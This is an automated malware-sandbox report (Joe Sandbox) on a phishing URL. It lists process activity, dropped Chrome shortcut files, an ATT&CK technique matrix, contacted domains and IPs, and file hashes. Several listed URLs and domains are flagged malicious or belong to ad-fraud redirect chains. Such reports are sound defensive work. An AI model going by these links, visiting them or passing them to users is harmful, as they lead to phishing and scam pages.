Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Google Drive.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 Registry Run Keys / Startup Folder	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
http://fontawesome.io	0%	URL Reputation	safe
https://fontawesome.com/license/free	0%	URL Reputation	safe
https://fontawesome.com	0%	URL Reputation	safe
http://daneden.me/animate	0%	URL Reputation	safe
http://opensource.org/licenses/MIT	0%	URL Reputation	safe
https://getbootstrap.com/)	0%	URL Reputation	safe
http://fontawesome.io/license	0%	URL Reputation	safe
http://www.opensource.org/licenses/mit-license.php)	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
a.nel.cloudflare.com	35.190.80.1	true	false	unknown
trk-dynamoris.com	172.67.212.151	true	false	unknown
www.scgyvdstrk.com	34.107.223.80	true	false	unknown
pawern.markiwalk.lat	104.21.57.136	true	true	unknown
trk-elevostra.com	188.114.96.3	true	false	unknown
vaultdores.com	194.31.223.121	true	false	unknown
p.sitemana.com	34.215.34.228	true	false	unknown
event.trk-elevostra.com	188.114.97.3	true	false	unknown
shineheater.com	111.90.140.35	true	false	unknown
s3.us-west-2.amazonaws.com	52.92.227.48	true	false	unknown
kindacoil.site	104.21.26.216	true	false	unknown
www.google.com	142.250.184.196	true	false	unknown
www.greatqualitydeals.com	172.67.185.164	true	false	unknown
use.fontawesome.com	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Reputation
https://s3.us-west-2.amazonaws.com/jsma/fp.js	false	unknown
https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/?affid=4&c1=&c2=attU66V5SCje&c3=&click_id=6c64e5a073e548e09489062e13d2fb52	false	unknown
https://pawern.markiwalk.lat/master/us217/1.jpg	true	unknown
https://shineheater.com/click?trvid=11356&s2=1236503140&s1=351518&s3=7605&s4=4598	false	unknown
https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/assets/js/app.js	false	unknown
https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/app/desktop/css/font-awesome-css.min.css	false	unknown
https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/extensions/CbUtilityPackage/js/cb-util-pkg.js	false	unknown
https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/app/desktop/css/bootstrap.min.css	false	unknown
https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/app/desktop/images/index/product-mc.jpg	false	unknown
https://pawern.markiwalk.lat/favicon.ico	true	unknown
https://a.nel.cloudflare.com/report/v4?s=tMaPxRj%2F3cvWVmAFQeidWu8iuI2OxHZvPmYAAkmEbUwHs9qGTLvf3xyMNHFS16iYk%2FyTb6g3s5b1v0xz0VHchPiZweKMSzUEbEBNy3oCFkqAJ7stZVL3CWsefwvDZ348l2m85pKvgA%3D%3D	false	unknown
https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/app/desktop/css/ui-fixing.css	false	unknown
https://pawern.markiwalk.lat/master/us217/f_guarantee.png	true	unknown
https://pawern.markiwalk.lat/vjncl/uvre/njam/iern?b92722dcb0ed8f668036958395ea62e7	false	unknown
https://pawern.markiwalk.lat/master/us217/animate.min.css	true	unknown
https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/extensions/Validator/js/validator.js	false	unknown
https://pawern.markiwalk.lat/service-worker.js	true	unknown
https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/assets/js/promise.min.js	false	unknown
https://kindacoil.site/?id=297&s1=351518&s2=1236503140&s3=7605&s4=4598&p=us5yasweps3a	false	unknown
https://pawern.markiwalk.lat/master/us217/f_secure_1.png	true	unknown
https://pawern.markiwalk.lat/master/terms/css/_modal.css	true	unknown
https://trk-elevostra.com/scripts/push/v9e118mez8	false	unknown
https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/assets/js/validator.js	false	unknown
https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/assets/js/form_handler.js	false	unknown
https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/app/desktop/images/error-input_1.png	false	unknown
https://pawern.markiwalk.lat/master/us217/loadingBL.gif	true	unknown
https://pawern.markiwalk.lat/cdn-cgi/challenge-platform/h/g/scripts/jsd/ec4b873d446c/main.js?	true	unknown
https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/app/desktop/css/font-awesome.css	false	unknown
https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/app/desktop/images/favicon.jpg	false	unknown
https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/app/desktop/css/custom.css	false	unknown
https://event.trk-elevostra.com/register/event_log/v9e118mez8	false	unknown
https://pawern.markiwalk.lat/master/us217/script.js	true	unknown
https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/assets/js/jquery.min.js	false	unknown
https://p.sitemana.com/p/m.gif?label=dXJsPWh0dHBzJTNBJTJGJTJGcGF3ZXJuLm1hcmtpd2Fsay5sYXQlMkZ2am5jbCUyRnV2cmUlMkZuamFtJTJGaWVybiZtaWQ9NTcwNWU5NjE3MzlmMjVlMDI3NTQxYzliNTNkNmI5MzYmdGFnPWI5MjcyMmRjYjBlZDhmNjY4MDM2OTU4Mzk1ZWE2MmU3LTEyMzY1MDMxNDAmaGFzaD1mYmRkYjhkZjQxM2M4OWExZWRhNzk2NGU2MmRmNzljZCwmYnJvd3Nlcj1DaHJvbWUmaXNtb2JpbGU9ZmFsc2UmY3RzPTE3Mjc5NzIyOTQ0OTkmc2hvcnRpZD1Ca0p6ODdL	false	unknown
https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/app/desktop/img/processing.gif	false	unknown
https://s3.us-west-2.amazonaws.com/jsma/BkJz87K/ma.js	true	unknown
https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/app/desktop/images/tick-input_1.png	false	unknown
https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/app/desktop/css/appear.css	false	unknown
https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/app/desktop/css/animate.css	false	unknown
https://pawern.markiwalk.lat/master/us217/style.min.css	true	unknown
https://www.scgyvdstrk.com/63CFP/7J9L55/?sub2=attU66V5SCje	false	unknown
https://pawern.markiwalk.lat/master/us217/datehead.js	true	unknown
https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/assets/js/codebase.js	false	unknown
https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/app/desktop/css/app2.css	false	unknown
https://vaultdores.com/0/0/0/264e35134ac25f9de46ef31bca03b2d6/9/372-16527/1270-243896-29108	false	unknown
https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/app/desktop/images/verified.png	false	unknown
https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/assets/css/app.css	false	unknown
https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/assets/js/outro.js	false	unknown
https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/app/desktop/fonts/fontawesome-webfont.woff2	false	unknown
https://pawern.markiwalk.lat/master/us217/logo.png	true	unknown
https://pawern.markiwalk.lat/master/us217/flaglogo.png	true	unknown
https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/app/desktop/css/index.css	false	unknown
https://pawern.markiwalk.lat/master/us217/product.png	true	unknown
https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/assets/js/jquery.mask.min.js	false	unknown
https://pawern.markiwalk.lat/master/us217/logo2.png	true	unknown
https://trk-dynamoris.com/scripts/sw/v9e118mez8	false	unknown
https://pawern.markiwalk.lat/master/us217/prize1.png	true	unknown
https://pawern.markiwalk.lat/inc/msg.js?a58c8a565bfd2d3dfa996defbc12dda9	true	unknown
https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/app/desktop/images/index/2ndcar-kit.jpg	false	unknown
https://pawern.markiwalk.lat/cdn-cgi/challenge-platform/h/g/jsd/r/8cce3f1f68d419aa	true	unknown
https://trk-dynamoris.com/scripts/pg/v9e118mez8	false	unknown
https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/app/desktop/css/all.css	false	unknown
https://pawern.markiwalk.lat/cdn-cgi/challenge-platform/scripts/jsd/main.js	true	unknown
https://pawern.markiwalk.lat/master/us217/bg.jpg	true	unknown
https://pawern.markiwalk.lat/master/terms/js/_modal.js?v=7	true	unknown
https://a.nel.cloudflare.com/report/v4?s=HqC05GpcxqLVADTIHiXf9GGitO8Jp9kEYXftTuhT4mKvCpQBt54nBmLx2bG5UPaKQ8m58VSITX8aTsfVRS%2BLPyIxAHTOGutR%2FJHau4pVr5bGQaY%2BX7EBvZMmnln3%2BJhBkWFLcs6Z81y7duMW	false	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://fontawesome.io	chromecache_165.1.dr	false	URL Reputation: safe	unknown
https://fontawesome.com/license/free	chromecache_144.1.dr, chromecache_162.1.dr	false	URL Reputation: safe	unknown
https://fontawesome.com	chromecache_104.1.dr, chromecache_144.1.dr, chromecache_162.1.dr	false	URL Reputation: safe	unknown
http://daneden.me/animate	chromecache_180.1.dr	false	URL Reputation: safe	unknown
https://cdn.x1cdn.com/bh/fr/ip/https://cdn.x1cdn.com/bh/fr/s10/1/https://cdn.x1cdn.com/bh/fr/i1/1/im	chromecache_175.1.dr	false		unknown
https://github.com/twbs/bootstrap/blob/main/LICENSE)	chromecache_143.1.dr	false		unknown
http://opensource.org/licenses/MIT	chromecache_180.1.dr, chromecache_129.1.dr	false	URL Reputation: safe	unknown
https://animate.style/	chromecache_129.1.dr	false		unknown
https://getbootstrap.com/)	chromecache_143.1.dr	false	URL Reputation: safe	unknown
https://cdn.x1cdn.com/bh/en/ps5/1/https://cdn.x1cdn.com/bh/fr/i1/1/images/bg1.jpg)	chromecache_175.1.dr	false		unknown
http://fontawesome.io/license	chromecache_165.1.dr	false	URL Reputation: safe	unknown
https://fingerprint.com)	chromecache_105.1.dr, chromecache_179.1.dr	false		unknown
https://github.com/karanlyons/murmurHash3.js)	chromecache_105.1.dr, chromecache_179.1.dr	false		unknown
http://www.opensource.org/licenses/mit-license.php)	chromecache_105.1.dr, chromecache_179.1.dr	false	URL Reputation: safe	unknown
https://vaultdores.com/0/0/0/264e35134ac25f9de46ef31bca03b2d6	chromecache_188.1.dr	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.21.26.216	kindacoil.site	United States	13335	CLOUDFLARENETUS	false
172.67.185.164	www.greatqualitydeals.com	United States	13335	CLOUDFLARENETUS	false
172.67.212.151	trk-dynamoris.com	United States	13335	CLOUDFLARENETUS	false
52.92.227.48	s3.us-west-2.amazonaws.com	United States	16509	AMAZON-02US	false
52.218.242.160	unknown	United States	16509	AMAZON-02US	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
142.250.184.228	unknown	United States	15169	GOOGLEUS	false
34.215.34.228	p.sitemana.com	United States	16509	AMAZON-02US	false
142.250.184.196	www.google.com	United States	15169	GOOGLEUS	false
34.107.223.80	www.scgyvdstrk.com	United States	15169	GOOGLEUS	false
194.31.223.121	vaultdores.com	unknown	49767	INTERNETPB-ASCZ	false
111.90.140.35	shineheater.com	Malaysia	45839	SHINJIRU-MY-AS-APShinjiruTechnologySdnBhdMY	false
104.21.57.136	pawern.markiwalk.lat	United States	13335	CLOUDFLARENETUS	true
239.255.255.250	unknown	Reserved	unknown	unknown	false
188.114.97.3	event.trk-elevostra.com	European Union	13335	CLOUDFLARENETUS	false
188.114.96.3	trk-elevostra.com	European Union	13335	CLOUDFLARENETUS	false
104.21.32.108	unknown	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.16

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1525129
Start date and time:	2024-10-03 18:17:35 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 57s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Sample URL:	https://dsfghfdaregfdgshfgdfh.blob.core.windows.net/dsfghfdaregfdgshfgdfh/l1.html#9/372-16527/1270-243896-29108
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal60.phis.win@22/160@44/18
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.185.195, 142.250.186.142, 64.233.184.84, 57.150.87.129, 34.104.35.123, 199.232.214.172, 104.21.27.152, 172.67.142.245, 172.217.16.202, 142.250.184.234, 142.250.186.138, 142.250.186.170, 142.250.186.106, 216.58.212.138, 142.250.74.202, 142.250.186.42, 216.58.206.42, 172.217.18.10, 142.250.184.202, 216.58.206.74, 142.250.185.234, 142.250.181.234, 172.217.16.138, 142.250.186.74, 172.217.18.3, 142.250.185.238, 142.250.185.74, 172.217.18.106, 172.217.23.106
Not all processes where analyzed, report is missing behavior information
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: https://dsfghfdaregfdgshfgdfh.blob.core.windows.net/dsfghfdaregfdgshfgdfh/l1.html#9/372-16527/1270-243896-29108

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Oct 3 15:18:06 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2673
Entropy (8bit):	3.9832243585267433
Encrypted:	false
SSDEEP:	48:8+dXjT7ywTfH0idAKZdA1FehwiZUklqehQy+3:8SjbTSvy
MD5:	ADA9118C737613ED074DF91BCAC7F8F4
SHA1:	85C7754B83A6207256D143E378074794F85A1C34
SHA-256:	99BEA1DFDE8D86DC5212947C07B82F90FD8A361C041F7CCE5B8A73F7B8AA53CB
SHA-512:	9601339440C8CBB97C020055DAE2F200599A3D50C3D7F100C7965C90C617B6B3DAD4FDBF4B8D7B4B9081D513B2318809A0FFBD9A80D38E10A5BBC2839706D1C7
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....(.L....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.ICY8.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VCYB.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VCYB.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VCYB............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VCYD............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............h......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Oct 3 15:18:06 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2675
Entropy (8bit):	3.999846536550829
Encrypted:	false
SSDEEP:	48:87dXjT7ywTfH0idAKZdA1seh/iZUkAQkqehfy+2:8djbTM9QWy
MD5:	E61569A97CDF64155F03D2EC5AD55F8E
SHA1:	DE0FA5BBC3093EA6B139C838E13DE6425BAFA257
SHA-256:	6998DA73FE4629C485E4017FBDCA637352AF18183F8FA38DAA89FFC56202EEC7
SHA-512:	7A8339971E5347CD1C91037619EF2DE1469AA8C69266C9CF230FE4AAB7328F100305DD76B06166FA136999599C4F659FBAD21AE36127C34BE8D1A5AC4786245C
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....{=....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.ICY8.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VCYB.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VCYB.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VCYB............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VCYD............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............h......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 6 08:05:01 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2689
Entropy (8bit):	4.0069906493753775
Encrypted:	false
SSDEEP:	48:8WdXjT7ywAH0idAKZdA14meh7sFiZUkmgqeh7sVy+BX:8qjbNnjy
MD5:	5641E250BAE20E968AE27BFF39595206
SHA1:	78A886F2AA9992A19860CCF30F78A2F70B8E7992
SHA-256:	3E455A31A6E282542A432AD9ECC130232FD419C65CEE7500BB70CC9BD878A04F
SHA-512:	497D8E15F2251CA0B9B2827708576BDF70C92BE42BA2257BE364CA0D93C3237794847D4F9BA6BFF95730EC360A58451FCA596FDDEFF92E94D828B747FFFA28AA
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....Y.04...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.ICY8.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VCYB.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VCYB.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VCYB............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VFW.E...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............h......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Oct 3 15:18:06 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9958363338283016
Encrypted:	false
SSDEEP:	48:8tdXjT7ywTfH0idAKZdA1TehDiZUkwqehLy+R:83jbTHdy
MD5:	CBC9CEC769A528147283805A960F77A8
SHA1:	F5F26424B6A2CF689CEB10C314B2351BA243370A
SHA-256:	DE1C8504E8E4C601D8D5DADB0457021C8CD4E7C0F77DA09FFEEBF3C56CF24929
SHA-512:	E4DD025F1B3FC1FA84BD90F20F82F09439320C8613FB6A6C20420F8D75327C0085752533B881206A85B2AC741586C8594AB1A4AB713408391D46D38EF670A0A8
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,......6....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.ICY8.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VCYB.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VCYB.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VCYB............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VCYD............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............h......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Oct 3 15:18:06 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.983077874368234
Encrypted:	false
SSDEEP:	48:8ldXjT7ywTfH0idAKZdA1dehBiZUk1W1qehJy+C:8vjbTX9py
MD5:	F3A1BD14E6AB1CFB630FEAE62D80BFF7
SHA1:	B5E3C750B80BB2DA1D21D3D024EA32A2EBA34EE7
SHA-256:	E7BA216A4570458B01D52D60418F3BDBDB5FB18674EAC40F97736082CDBF6BE2
SHA-512:	8AAAB75A8A2F77E784DB3AB60A31D8425FC5A1217413A590225697A4A7936DA542E502FF359BA916313A23ECCA696038350B50DC187295796F95E3E76FE5D85B
Malicious:	false
Reputation:	low
